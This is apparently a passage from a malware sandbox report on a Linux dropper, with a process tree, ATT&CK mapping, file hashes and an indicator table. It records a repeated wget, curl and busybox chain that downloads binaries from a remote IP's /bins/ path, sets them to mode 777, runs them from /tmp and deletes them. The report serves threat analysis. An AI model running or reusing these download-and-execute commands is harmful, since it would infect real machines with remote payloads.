  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:977
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:980
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:983
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:986
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:989
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Path /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	749	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	756	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	762	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	781	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	819	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	825	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	833	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	871	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	877	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	883	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	889	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	895	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	901	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	907	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	913	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	919	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	925	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	931	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	937	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	943	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	949	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	955	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	961	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	967	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	973	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	979	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	985	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	991	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL